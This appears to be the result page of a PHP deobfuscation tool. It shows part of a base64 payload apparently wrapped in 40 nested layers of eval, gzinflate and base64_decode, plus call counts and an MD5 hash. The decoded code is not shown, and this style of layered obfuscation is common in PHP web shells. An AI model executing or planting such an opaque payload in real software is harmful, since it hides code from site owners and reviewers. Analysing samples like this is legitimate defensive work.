yFjcEMrv47loaZ1h/IiDmmERymL9DSpe3yish3b87X+0UgDeYMi3gXiDXkD72n63xrVemeXpxPuu1w4DthXqznSPDz3tE6qf/YgU7s4caf4M7a1QVUgywK0btQU5RsOBZzHcbHGvlOstM4EQdrcP397qEqrkjrl/u629GTqR4DkWESZkk8gzdAlmPMDyB0G9YDJenh/J1Al3RmAsgFNph8vEd/lnJ3iyI7hcaObxVNRDhquNU2MdcbldrLojO+ejV2jeH9Q1ehnYXlvUuR2Gkecl+vyd1/Q3MSxefQqKaDNnxDSbZqY4wU2cb9qp2cbRth+ea51KHiqWW+E1zfjT25ZE8HBQMzQaVHyqyMzPzu4cOdyDzD4dXJKyh2zq3yrkDdn+uS+RHQ7J42MV5OfJNe1NxrCR1Xd1Ae16OCa9tItD2Z9lyYx10Eb8x+BIFM479bX8n+ZONfzmE1OhQLV56P6jT9pYsy09rIh6Vy6VlZJv27Ucd9o5wVz14S6HF5t3rlsErVjp8MGzMN++1WLB1Gd6Q8+6J4/sMTOKB5+3WvAN+za5JQwRaBdYW2lIZgKgHhmvlTbsXZCEnfYjS/osS789+buET3PmAY2ZaYjyX5fKKJoV3R62JEfdMBX0RNsgsPlryQ4sM8sVy3XgoBYRfww5EQTq5R/Wp6QO9t9DObvoLrBltuLiHH8xiid47esghptjGbvqrvMwPKlWtumVtrrsn4cjaS47vM0guz3R4FuIdeGItF8UwuF9OB6BKqEEyZNHP9cKn5k8WyOGm2ZcGI4w5sgM3ymI6vscP2MmooHVkwlhanr9Yrb08l5Yx1xfVr5Za4WmIGUpFPlaT0FqH4T8TMfIQSEFZ0B4/MxNQeT5aQu3rsaRclMiUYvz5ahfqTxUA38lufv+OdK613wPOapWMW8+A6hlnyDvf+Jz+wWbMuR1EiCewVfdhhOBFuZnd1Jg7qAPMFLCFoGThremt4CLYnXt51SqJXb9TJ+2qCjz0UO6XrRfTFLE4cU6MnV6l1ekgvgWEjGkGpJ21QHEtrTq+EEz5ybcdG2/MHH19/JzAvqPG4cluCLk4zxHNsP9rzhELS4yHggb0JlCglX8jQ3i3vnO9/A/Akw1Ht+a3IeejgW8LuvK919C/Gwl5SFUTyV7WFbbWWWFEApn/Wt3bXADzqZu7gTsZFkEtp+UM7w2pug+FxxKkfXLkqGAqTBJGHAe9cT3O+HvVDHZg/tN6+u+CBO785ttVI2+I7Dt2ftg4k26g56JrpBoj6j0pESFzIA0mljnsrAYAkzDnlHOdccFklo5wPh8Mi23tg2ez7VNkOAhhIU+jXjRas+owc2lc9dFEKatH2dkrxWqRJf4hPOggYshVrqLUjYtplth9ijhfo4aPE84CVM4SoEu6chX0SAARPE1H5ssFLpTaG/vTgBov7rfwc+aufUx+NcfM21RTVOWQ0g6pjb55dp1VnL8BPuICjX70AZm+9hZJfqcT9NR2/TLKbMSa8uSJTV5+v+cMF84XF8ZI6CYCJ05ua0YCLQkvqoSjV3JR5m+yzBOMxssOdQ8dILJS74TChZB6MTO4IQbHbd9JfJzauY0fslbPQLj+mlvDM1/J3dKcnVeDBAPb82DuaHp+glvf98N8mCUeQnSPbQDkzISjT9GycguULij9PJwQ+FbH1UvTJcVDGwqseUumHnLVLRXX9ohbv1v+l0eGcMdvmrNi2mm80bVuyiyG7GKLfbjJOlY2MF+eaSjyNvh159BUe7QwQODxn4AE0/z5U2D7LndBBzuw1yhQZ1E2I0lFLqT6Tj4WqRCZZ3QxdCl4GKVBJIWcORv/AmXJyFrZL1QJLWDfgKK1QmEnVn9uV6qu+Yggg9+wgYRe/oSEM/Q1hVXc2K7vHpJSbiuTyvZjxEPJHxY+fDCdBcuY+1bsTPAPDCcwbtd0eXYh1PndL9S62DFk2zi7hV9jFLYfEj2yu6kFd4flugAAMgPDDKzvFmHLv4zs4Gr49BbtDsIEHLuOKQheWk6kQnDpZSiVFGLl9V9zufNRZXOcITwPj6dENuGVMpoRmwsLzKzeYLAN/qg9lTO1cBAmLngw8hW91hMckaqkR/JgxzMSzY0UEfyX1uulFKazIwwI8NmrEv7peR7MLt7IRF3BtCR1Hejvz9SiUF/DzSELdlyk1lK6mB6tvh5pDD3MFxkCwMg2qoSG5F78FoQedq3DvMwqwuG+Rtg8vPLKuuK7T5SdbLXXxHOoyYvn8wyJ5G+m5piRylgRmv3eTDhYJGL5gmBBJyGxrZc6gQZZPHFV9o/dYO3CjITca/O9hVqffrr0+1iW87Dekx8ntluu4PohI5dCLEOATUOm+9W1xQ7huZrd0GYSdkZd5VZrrCNZmAUId4Kec9q9SnNCVBZ2xol1lyTznKQOSPdk6RqvDbfFdUKctsqOaOY9mc7wP1GWMkaqSA7ihnFXWE5TGLWgLamm2TZ3Aw5llNMCqyCG98M8RckhyqYXlyjkVpLZH8J3lljChLO4ncYUrLmhoSGGqr1vIfaAJIRpLHsSYIZn3y4rCWY1MWClPkPQoUG3HVev3YKqohCMeJEVxDx6Xzyaf4b7n4ao61vh91C7AMBsS8qo7KTBCgU5KCcUcI4rJaBYGG2XPMLfWDzrHQuxx51JKLqv36G86syOiS8e6CS2sDl/F3GHSedtgt8gEnggCZqIr05tkazLh2qWqD/KVJh1UQy6gAhDXMNpLk15P4syK/Og96/gzp515XVTXLT699TiPx+J4WhrB3Pno+C4iU91af4Ub9obkLp3LgyBlUNymDIOGnb8Rw0Yt6cTRZ0XO8hB2nyLBi+lLwzzk+dDz0t1MEbEE8PAd+jgJGloPqHpYcr/bOUEDfHoqWpXCEf+sdkaWneG4tdfK5MtyV6TWWVQUGiXLCX+Vo6LIs05UpJIGfKx0GMnXuYzcCz0pFzNG1Vz+ExwNE9EM8h7AhT9lTJ09n2ZlBvN3fB+CLtSvImTxaqS9B3eYK3ePgirP0lKoQfMFr3DMQ7oAXwzr26Tr65AOfyw4znhpmrKJhsFtZ2Bx3KyXVxalpG+mqvjsRDxHmnqErUTJKr+kp7yTtBsUED36Q7FMg521i8oIHqrILRcRdUsBpkx2bEtu0FL8PkycyfVLNw/iVU9P8HF5bXNl2hsyQPe1gB4VMSRZjOxxTsY90HaSK71vtskL63Sqm5EIhhL710cwu5DkHLsM685rfgjILRIh3S30JNq4uJUV4Mvi1MKViivcKqnL9ViUni/bnimcHeXq/UA/qfACNKxr5cx9uErC1oX2kFALo5+XI2xsct6iWg/yaNga0c7hNP+aGP7x3x3FlaYlahrRTRWZq6ou0aMSYR07yGbhgXYs9MgtYY6vLNdPfZxpdtnYqPfoCSgN32JoRmjCtWuwn33u5QYSFDe+zaYZQwIyCvD4BRo+KQaZ+x/UvOLksYjTDZfLBZnvc02MN2C8UdaJSK7pfOgLoYJ27bG2jBrfi9Ca3VnBUMox+Y2rtiipoJuDuZo354MiF1ysP2+lqHtaQZgiN91n5nyPh/d4JVyCX6Nazhe9p9vnTnenf4+qjLVUDMaHym5F7XkwHHsal33yfjlXSr2DC0WDhX0xh/KfLI87fceW60NxFDZpLVQkKIKnti22Y2X4cf1F8G2borD8GEe06YIVGHNrvJ4NVH3BAPfxio9rQVKjdMIYuP9YblKiizpmRuA3tce17v/QlzBg4+fvlh36JCfOOqiX3ZMav1Tlxe3XpGGkYXESTLghyd783KugrukSb/b2lURyILvX1TbFwW5mwx2pcYubKcuVYelXjXYatZ6CAiCmwyy4epV55kfhtF7NqVOll4ZDysk3xJatRrVxYWsfmSBHva97jdAKPoYyZFaZ/BJE5Jg+iZYY9MBp74VvQ+2w8PQtFTMHlkmVKksFlNGvPKV9PztWUvyTikwroMgn7uw1Ih04uPK7dmCbzIXcL3X4PwSlXzEeBMGRtv0+Jm9+Yf/hYGrySRyMPvn6Q1jJbbC8m4MMsD/mJUFf9VEBRPjFExcfruLCe+MmyqWIaizqqf51MY0s4b/k77lfDuENmTBsGsTu/jJrX/RBL2olX7cdvHcdohKXCGN4I5uv02yfagB3s8cUN/76a31mYFfApclaMKFGPebjI+68y3kb9RptvlxbXGkTqJDozUEhIYA6Blt3rzmVxfOaP1rICkSb6DXgf5lUIRT1HJVLG+F7mfHdWEbMmV8ysNMWZe9akfd9DbPS29Yh4K7MNZyxPwjrLIu3brTMdNBMnFeeV5FJELIuTIq33lB34/bV+l774kr98XE5HohBi7w19S385ThmRB27SySXq0tumvy8oP4VXSZwayw5O4lS9AICl0i4yNhQwrNCPzznxvXe/yxH1oY67ieINSD5Wwgzb8c34McJd5gJ+mScpCngpHDqn7hlM4z6FQ3cjzH2M+ydv0H18XC5wmwANi60nVkwaIYHBt1Ljf7ld/YQ7iuRF9gecXA57PF4AJV5ACg95Bhg6STWm+2C5wI2ViWsFGIkftgrpwfSDvakFzkN2chMdPce4c7IS65dKSSqH5qCo6WRR9YTjlqjtJ4QjlYs69Iefki8mMBFBNxdrFtFlahOR1TbsuWtEV2UJNBuILIAIsBSz/AJ0toAYlHQCfqCrhF6CXPLFab+KqB9Uz4VtFFQ7sB/gemaRWQefk8sbU6WP4Ocxe4MeEydrXrTcyNDlBHGXMhmhJ6e5rETKAnYi+0dZ++jHCK4889yTq63RpauJyARrTvu++OtdU/IWj6TCi4JLMDVIh7Lycxzl1dHNtSn4+zUzCMDA4BM8nL3JPR6rH6ljSLn7vq3xd0Z0waGUGzVx631KCEB7S2qUV0reNhwOut6JYmUoAflMiVgVscK6IbfwkxkbxCc6xVF/k2/+0ySgulviTBPw7o2A1BKap2laLB0LXz4foHh/Pp/jc/L/+59///33f/4f')));

Function Calls

gzinflate 40
base64_decode 40

Variables

None

Stats

MD5 fcfa2df4f9507965e72f8e52bce6a1b2
Eval Count 40
Decode Time 940 ms